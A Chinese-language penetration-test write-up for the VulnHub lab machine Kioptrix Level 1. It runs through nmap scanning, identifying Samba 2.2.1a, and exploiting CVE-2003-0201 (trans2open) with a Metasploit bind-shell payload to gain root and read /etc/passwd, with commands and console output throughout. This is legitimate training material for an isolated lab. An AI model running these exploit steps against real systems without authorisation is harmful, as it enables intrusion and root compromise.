Kioptrix Level 1 渗透测试报告 - CVE-2003-0201 Samba trans2open
作者: Amirbek Raxmatullayev (@americo_444)
日期: 2026-06-17
平台: VulnHub
难度: 入门
目标: 获取 root 权限
| 组件 | 详情 |
|---|---|
| 宿主机操作系统 | Ubuntu 26.04 |
| 虚拟机管理程序 | QEMU/KVM |
| 目标 | Kioptrix Level 1 (VMDK) |
| 攻击机 IP | 192.168.56.1 |
| 目标 IP | 192.168.56.101 |
注意: VirtualBox 与内核 7.0.0-22-generic 不兼容,原因是 DKMS KVM 命名空间冲突。改用 QEMU/KVM 并直接加载 VMDK,无需转换。
qemu-system-x86_64 \
-m 512 \
-drive file="Kioptix Level 1.vmdk",format=vmdk \
-netdev bridge,id=net0,br=virbr0 \
-device e1000,netdev=net0 \
-display gtk
nmap -sn 192.168.56.0/24
结果: 目标已确认位于 192.168.56.101
nmap -sV -sC -p- 192.168.56.101
开放端口:
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
set RHOSTS 192.168.56.101; run; exit"
结果: 确认为 Samba 2.2.1a — 已确认存在严重漏洞的版本。
描述:
Samba 2.2.x 版本的 trans2open 函数中存在基于栈的缓冲区溢出漏洞。未经身份验证的远程攻击者可利用该漏洞以 root 权限执行任意代码。
受影响版本: Samba 2.0.x — 2.2.8
CVSS 评分: 10.0(严重)
利用模块: exploit/linux/samba/trans2open
msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run
为什么使用 bind_tcp 而不是 reverse_tcp?
reverse_tcp 载荷失败的原因是 Kioptrix 虚拟机无法通过 NAT/桥接配置回连攻击机。使用 bind_tcp 时,由攻击机主动连接目标 — 目标机无需发起任何出站连接。
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)
成功获取 Shell! ✅
whoami
# root
id
# uid=0(root) gid=0(root) groups=99(nobody)
hostname
# kioptrix.level1
uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash
系统信息:
[Attacker: 192.168.56.1]
|
| Step 1: nmap full port scan
v
[Target: 192.168.56.101]
|
| Step 2: Samba 2.2.1a identified
v
[Metasploit — trans2open exploit]
|
| Step 3: Stack buffer overflow triggered
v
[Bind shell opened on port 4444]
|
| Step 4: whoami = root
v
[TARGET PWNED]
nmap -sV -sC 进行服务指纹识别bind_tcp 与 reverse_tcp 载荷的差异及各自的适用场景| 工具 | 用途 |
|---|---|
| nmap | 端口扫描、服务/版本检测 |
| Metasploit Framework | SMB 枚举、漏洞利用 |
| QEMU/KVM | 实验室虚拟化 |
| arp-scan | 主机发现 |
作者:Amirbek Raxmatullayev | BEK Coders 安全研究 | 2026
| 端口 | 服务 | 版本 |
|---|
| 22/tcp | SSH | OpenSSH 2.9p2 |
| 80/tcp | HTTP | Apache 1.3.20 |
| 111/tcp | RPC | rpcbind 2 |
| 139/tcp | SMB | Samba 2.2.1a |
| 443/tcp | HTTPS | mod_ssl/2.8.4 |
| 32768/tcp | Status | RPC #100024 |